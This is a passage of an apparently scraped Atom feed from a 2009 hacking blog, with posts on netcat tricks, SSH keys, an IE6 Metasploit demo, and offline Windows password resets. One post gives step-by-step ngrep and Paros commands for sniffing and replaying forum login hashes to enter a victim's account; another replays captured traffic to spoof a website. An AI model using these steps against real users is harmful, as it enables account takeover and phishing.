/&gt;&lt;pre&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-8818135972054180831?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/8818135972054180831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/smtpcat.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8818135972054180831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8818135972054180831'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/smtpcat.html' title='smtpcat, Parseing emails from a pcap file'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-5403127918001366425</id><published>2009-12-16T07:43:00.000-08:00</published><updated>2009-12-19T17:21:45.399-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Replay'/><category scheme='http://www.blogger.com/atom/ns#' term='ncat'/><title type='text'>Replaying captured web traffic using ncat</title><content type='html'>If you are not familiar with the whole idea of replaying a packet then you should get to googling. The basic idea behind this methodology is to sniff and capture interesting information from either the client or server then replay them. By doing this you can mimic a certain client's request or a server's response and vice versa.  In the my demo, i will demonstrate how i was able to capture a users 'GET' request for a website (in my demo, www.ask.com) and the server's response and use the captured response to replay the same data that www.ask.com responds with to client request. This has the effect of mimicing a site and in some ways tricking a user to believe they are at the website of www.ask.com when they are basically connected to your machine. Not as fun as gaining a shell but with your imagination, you can come up with ideas for interesting packets to replay that can form the basis for some more fun stuff.&lt;br /&gt;&lt;br /&gt;Steps:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Use wireshark to capture packets of a user making a request for www.ask.com on their web browser&lt;/li&gt;&lt;li&gt;Use a display filter for that stream and filter the stream to show only the servers response. Save the data of the servers response to a file.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Start up ncat to replay the saved response(data)&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"# ncat --send-only -l 80 &lt; response"&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Use a web browser to connect to your ncat 'fake' webserver.&lt;/li&gt;&lt;/ol&gt;If you were to practice this on a few websites you're gonna notice that not all of the contents of the page might be displayed. If you've written html code before, you should already know why this is so. If you wanna get crafty and do some editing of the packets to change some directory paths, that should get things up and running, but to me its not worth the effort since im no criminal. YES, if you actually took the time to modify the response in such a way that you will get all the original's website content to show, then you more than likely have some evil intentions in mind.&lt;br /&gt;&lt;br /&gt;Video demonstration...&lt;br /&gt;&lt;br /&gt;&lt;object width="400" height="225"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8277292&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1"&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=8277292&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="225"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;p&gt;&lt;a href="http://vimeo.com/8277292"&gt;Untitled&lt;/a&gt; from &lt;a href="http://vimeo.com/aerokid240"&gt;aerokid240&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5403127918001366425?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5403127918001366425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/replaying-captured-web-traffic-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5403127918001366425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5403127918001366425'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/replaying-captured-web-traffic-using.html' title='Replaying captured web traffic using ncat'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-7540007707179826847</id><published>2009-12-10T06:03:00.000-08:00</published><updated>2009-12-10T07:09:32.433-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><title type='text'>SSH public and private key authentication</title><content type='html'>If anyone has played with ssh before, you should be quite familiar with login in with your password/passphrase to the ssh server. There is nothing wrong with this method of authentication at all as long as you have a complex password thats extremely hard to guess. However there is a more advanced method of authentication used by many professional organizations and businesses and the internet as well, known and Public key authentication. This system utilizes two keys, a public key known to everyone and is used for encryption and a private or secret key known only to the recipient of the message. In ssh, the use of the private keys are only for authentication purposes but then all of the communications are done using a negotiated symmetric key, which is a key common to both the sender and reciever of the message that is used to decrypt and encrypt the message.&lt;br /&gt;&lt;br /&gt;SSh is commonly used for remote administering of machines, but is very common in the unix environment. As an administrator, we want to be able automate most of our tasks remotely over ssh, but the problem that arises is the password prompt screen. How can we automate a remote task if the machine we are login into is gonna ask for a password everytime we try to log on? The answer is to utilize the public and private key authentication method. You specify a private key to be used to authenticate on to the remote machine. The remote machine should have a matching public key under the logging in user account. Wants the pair of the public and private key is made, access is granted automatically withouth the use for a password/passphrase.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[tools]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;sshd&lt;/span&gt; [linux]&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Putty&lt;/span&gt; [windows]&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Puttygen&lt;/span&gt; [windows]&lt;br /&gt;&lt;br /&gt;Step 1. Using puttygen, generate a 1024 bit rsa keys and save the public and private key portion to a USB key (mykey.pub and mykey.ppk ).&lt;br /&gt;&lt;br /&gt;Step 2. Copy the puiblic key (mykey.pub) to the unix machine into the "/root/.ssh/" folder&lt;br /&gt;&lt;br /&gt;Step 3.  Convert the puttygen public key to an openssh format.&lt;br /&gt;             &lt;span style="color: rgb(255, 0, 0);"&gt;# ssh-keygen -i -f /root/.ssh/mykey.pub &gt; mykey2.pub&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Step 4. Paste the contents of the public key into a file called authorized_keys or&lt;br /&gt;            authorized_keys2&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;             # touch authorized_keys&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;             # cat mykey2.pub &gt;&gt; authorized_keys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Step 5. Using putty, enter in root@10.0.0.1, assuming 10.0.0.1 is the remote hosts ip address.&lt;br /&gt;&lt;br /&gt;Step 6.  Under the 'Connections' section in putty, goto the 'SSH' sub section then 'Auth'. Browse&lt;br /&gt;              for your private key (mykey.ppk) then click on open&lt;br /&gt;&lt;br /&gt;If all went well you should be granted access to the root account without having to enter a password. If you were using a linux client, this could have been automated using bash scripts and all that is required is for you to place your private key in your local home directory in the .ssh folder, i.e, /home/user1/.ssh/&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://hkn.eecs.berkeley.edu/~dhsu/ssh_public_key_howto.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-7540007707179826847?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/7540007707179826847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/ssh-public-and-private-key.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7540007707179826847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7540007707179826847'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/ssh-public-and-private-key.html' title='SSH public and private key authentication'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4931465287455291693</id><published>2009-12-09T17:47:00.000-08:00</published><updated>2009-12-09T18:44:13.551-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Exploit'/><title type='text'>Video Demo of me exploiting Internet explorer 6 on XP SP2</title><content type='html'>It cannot be stressed enough why you should always try to keep your software patched and up to date. Alot of individuals understand that updates can add new features and fix some bugs but don't have a clue about the security aspects of it. You may have come around the term 'exploit' before but don't really quite grasp the concept of it. An exploit is special code that attempts to capitalize on what is known as software vulnerabilities, and in capitalize i mean do something that is of the benefit to the attacker. In the hacker culture, most of the time we would want to exploit software in hopes of gaining "&lt;span style="color: rgb(255, 102, 0);"&gt;shell&lt;/span&gt;" access which is basically a command prompt environment of the exploited machine. Picture being at a Windows machine at the command line and the amount of power you have at your arsenal. You can create user accounts, kill process, create and delete files, etc. This is what the hacker hopes to gain from his exploit, such an environment where he can command your machine via a shell, i.e. command prompt from his own attacking machine.&lt;br /&gt;&lt;br /&gt;In my video demonstration, im gonna exploit a vulnerability in IE 6 on a XP SP2 machine. The attacker sets up his machine as a special type of web server awaiting a user to connect to his machine using internet explorer(you can force a user to connect to your machine via dns spoofing on a LAN, see my earlier post on dnspoof).  When the victim browses to the attackers web page(of was forced onto the page by the attacker) an exploit is run on the victims browser and on the attacking machine if the exploit was successful you would get a command prompt/shell of the victims machine. From here the attacker can take command of the victim's computer and is only limited by his imagination.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[Tools used]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Metasploit-v3.4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;object height="225" width="400"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=8089762&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1"&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=8089762&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" height="225" width="400"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;p&gt;&lt;a href="http://vimeo.com/8089762"&gt;Internet Explorer 6 exploit&lt;/a&gt; from &lt;a href="http://vimeo.com/aerokid240"&gt;aerokid240&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4931465287455291693?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4931465287455291693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/video-demo-of-me-exploiting-internet.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4931465287455291693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4931465287455291693'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/video-demo-of-me-exploiting-internet.html' title='Video Demo of me exploiting Internet explorer 6 on XP SP2'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4089743057878310418</id><published>2009-12-07T21:37:00.000-08:00</published><updated>2009-12-09T18:37:17.364-08:00</updated><title type='text'>New Video demos</title><content type='html'>&lt;span style="font-weight: bold;"&gt;[Breaking into facebook and gmail without a username and password]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;***** &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://aerokid240.blogspot.com/2009/11/ferret-and-hamster-20-sidejacking.html&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;[Eaves dropping on your neighbours msn conversations]&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;*****&lt;/span&gt;http://aerokid240.blogspot.com/2009/11/msgsnarf.html&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;[Exploiting IE6 on XP SP2 machine to gain shell access]&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;*****&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://aerokid240.blogspot.com/2009/12/video-demo-of-me-exploiting-internet.html&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4089743057878310418?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4089743057878310418/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/new-video-demos.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4089743057878310418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4089743057878310418'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/new-video-demos.html' title='New Video demos'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-1145493244765520436</id><published>2009-12-07T14:55:00.001-08:00</published><updated>2009-12-07T15:00:14.106-08:00</updated><title type='text'>Video illustrations on the way...</title><content type='html'>I know some of the demo's my leave you a bit puzzled at times but some of the concepts cant be adopted overnight. And as you would have noticed, most of the demo's use linux quite heavily adding to the frustration to most windows users. The good news today is i just got an account with www.vimeo.com so now i can add video illustrations to some of my blogs. I'm gonna go back to some of my previous post and add some video illustrations to them. If there is any request for any visual illustration on any previous post, just leave a comment or shoot me an email.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-1145493244765520436?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/1145493244765520436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/video-illustrations-on-way.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1145493244765520436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1145493244765520436'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/video-illustrations-on-way.html' title='Video illustrations on the way...'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4574365723092864714</id><published>2009-12-05T17:05:00.000-08:00</published><updated>2011-11-10T05:30:48.455-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='paros'/><category scheme='http://www.blogger.com/atom/ns#' term='ngrep'/><title type='text'>How you can steal log-on credentials from forum based websites using Paros and ngrep</title><content type='html'>As you can imagine, ngrep would be our sniffer that would parse out the necessary information that we would be looking for. But what is Paros and what is it gonna be used for? Paros is a proxy, but unlike traditional proxies, it allows you to modify certain parameters in http request and reply packets. How we are gonna use it in our demo is to modify the password field of a http POST to input the appropriate password. Confused? Well just follow my demo and hopefully all will be clear.&lt;br /&gt;&lt;br /&gt;First we use ngrep (look back at my earlier post for info on using ngrep) to sniff out the important information when the user logs in. Note that sometimes the passwords may be in cleartext or in a md5hash. If the password is in MD5 hash form, we can use online resources to crack them or dont even bother cracking them. Why not just use the hash to login? Is it possible? Yes.. and thats what ill be showing you.&lt;br /&gt;&lt;br /&gt;[Note, you would be required to perform some form of man in the middle attack in order to be able to sniff the packets]&lt;br /&gt;&lt;br /&gt;Setting up ngrep to sniff:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ngrep -W byline -d eth0 -q "POST" port 80&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//we are sniffing of port 80 for the string 'POST', i.e when a user hits the login button a post would be send to the logon server. '-W byline' makes the output to standard out more readable.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On some other machine [victim machine], login to your favorite forum website and pay attention to ngrep's output. It should have captured the post packet with your username and password. Like i said earlier, sometimes the password is not in plain-text. Sometimes it would be and MD5 hash. Lets see how we can use this hash with Paros proxy.&lt;br /&gt;&lt;br /&gt;Lets fire up Paros on the attacking machine.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# java -jar paros.jar&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On the attacking machine, open up your web browser and change its network settings to use the proxy 127.0.0.1 on port 8080. Trying browseing to a website to confirm the proxy works. Paros should now have captured traffic.&lt;br /&gt;&lt;br /&gt;In the "Trap" tab select "trap request". Now navigate to the same forum website that you've captured info from. On the login form, put in the username that you would have captured and some bogus password and hit the submit button. Notice that the web page is stuck loading and paros is blinking. Lets investigate. Paros has captured the request and is awaiting on some sort of feedback from you. At this point you can see that paros has captured the login request. The username is the right one u typed in and the password is in some encrypted md5 form. Its actually the md5sum to the bogus password you inputed. What we wanna do is take the md5 hash that we captured from the ngrep output, and input it in the paros parameter screen (easier to view it in tabular view). Note you gon need to enter it in two places, the "vb_login_md5password" and "vb_login_md5password_utf". After you've done this, deselct the trap request option and hit the continue button. Guess what has happend............... You've now logged into your victims account.&lt;br /&gt;&lt;br /&gt;To help in my above illustration, here's a video illustrating the simplicity of the attack. Note that the user uses a different sniffer to sniff on the wire.&lt;br /&gt;&lt;br /&gt;[video]: &lt;span style="color: rgb(255, 0, 0);"&gt;http://www.securitytube.net/How-Secure-is-your-Forum-Login-video.aspx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;http://www.securitytube.net/How-Secure-is-your-Forum-Login-video.aspx&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4574365723092864714?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4574365723092864714/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/how-you-can-hack-those-forum-websites.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4574365723092864714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4574365723092864714'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/how-you-can-hack-those-forum-websites.html' title='How you can steal log-on credentials from forum based websites using Paros and ngrep'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4698757723964398803</id><published>2009-12-05T16:10:00.001-08:00</published><updated>2009-12-05T16:22:49.490-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mpg123'/><category scheme='http://www.blogger.com/atom/ns#' term='Netcat'/><title type='text'>Using netcat to stream music with mpg123</title><content type='html'>Like my previos post, i used netcat as a simple one page webserver, basically having netcat listen on port 80 and anything that connects to port 80, send them an html file. Simple enough. This post shows how we can use the same concept and listen on a port and send an mp3 over the network to connecting clients. Mpg123 is a command line utility that basically play music on the command line. You can see how netcat and mpg123 is used together to stream music accross the network.&lt;br /&gt;&lt;br /&gt;Demo:&lt;br /&gt;[server]10.0.0.1&lt;br /&gt;[client]10.0.0.2&lt;br /&gt;&lt;br /&gt;[server] &lt;span style="color: rgb(255, 0, 0);"&gt;# cat music_file.mp3 | nc -l -p 4444&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;//listens on port 4444 and cats the contents of the mp3 file accross the network&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;[client] &lt;span style="color: rgb(255, 0, 0);"&gt;# nc 10.0.0.1 4444 | mpg123 -&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;// connects to the server on port 4444 and plays what ever data comes through its connection&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Resources/Good reading:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.hak5.org/episodes/episode-514&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4698757723964398803?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4698757723964398803/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/using-netcat-to-stream-music-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4698757723964398803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4698757723964398803'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/using-netcat-to-stream-music-with.html' title='Using netcat to stream music with mpg123'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-2606393906560033361</id><published>2009-12-03T11:59:00.000-08:00</published><updated>2009-12-03T13:28:23.654-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webserver'/><category scheme='http://www.blogger.com/atom/ns#' term='ncat'/><category scheme='http://www.blogger.com/atom/ns#' term='Netcat'/><title type='text'>Using netcat  and ncat as simple webservers</title><content type='html'>Nothing too fancy here, but just an illustration of how versatile the netcat tool is/can be. We all know netcat to be a simple backdoor utility that can be used for simple chats and file transfers. Well to add to its long list of possibilities and features, i am going to set up a one page webserver. Useful if you got to set up a notification about your page being down for maintenance. In its basic form, we set up a netcat listener on port 80 then pipe or push a file into the connection when clients connect.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[for netcat]&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;"# while true; do nc -l -p 80 -q 1 &lt; index.html" ; done&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;[for ncat]&lt;/span&gt;&lt;/span&gt; "&lt;span style="color: rgb(255, 0, 0);"&gt;# while true; d0 ncat -l 80 --send-only &lt; index.html ; done"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Note&lt;/span&gt;: we set up a while loop to keep the connection open to accept other requests. Using "-k" in ncat would not work in this instance as using the "--send-only" terminates the connection when all data has been sent to the client.&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;References/Good reading:&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.terminally-incoherent.com/blog/2007/08/07/few-useful-netcat-tricks/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;http://www.stearns.org/doc/nc-intro.current.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-2606393906560033361?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/2606393906560033361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2009/12/using-netcat-and-ncat-as-simple.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2606393906560033361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2606393906560033361'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2009/12/using-netcat-and-ncat-as-simple.html' title='Using netcat  and ncat as simple webservers'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4528549642501702189</id><published>2009-12-03T08:28:00.000-08:00</published><updated>2009-12-03T09:05:20.823-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='chntpw'/><title type='text'>Another example where physical access always gets you in (using chntpw)</title><content type='html'>Chnypw is a small linux utilty that is used to (re)set the password of any valid local account on a windowsNT, 2000 and XP machine (have not tried on vista and 7). Knowledge of the old password for an account is not needed to set a new one. The tool works by modifying crypted data in the registry's SAM file. This utilty works with syskey and includes the option to turn it off.&lt;br /&gt;&lt;br /&gt;The target Windows machine needs to be in offline mode which means that the installed OS should not be loaded. You're gonna need a bootable linux distrobution (CD or bootable usb works) with chntpw package installed.&lt;br /&gt;&lt;br /&gt;Steps:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Mount the NTFS drive. Needs to be mounted for read/write and not read-only.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# mount -t ntfs-3g /dev/sda1 /mnt/disk1&lt;/span&gt; or &lt;span style="color: rgb(255, 0, 0);"&gt;# ntfsmount /dev/sda1 /mnt/disk1 -o default_permissions&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Navigate to the location of the SAM file, typically located at \windows\system32\config&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;# cd /mnt/disk1/WINDOWS/System32/Config&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Make a back up of the SAM, security and system files.&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# cp SAM SAM.bak &amp;amp;&amp;amp; cp security security.bak 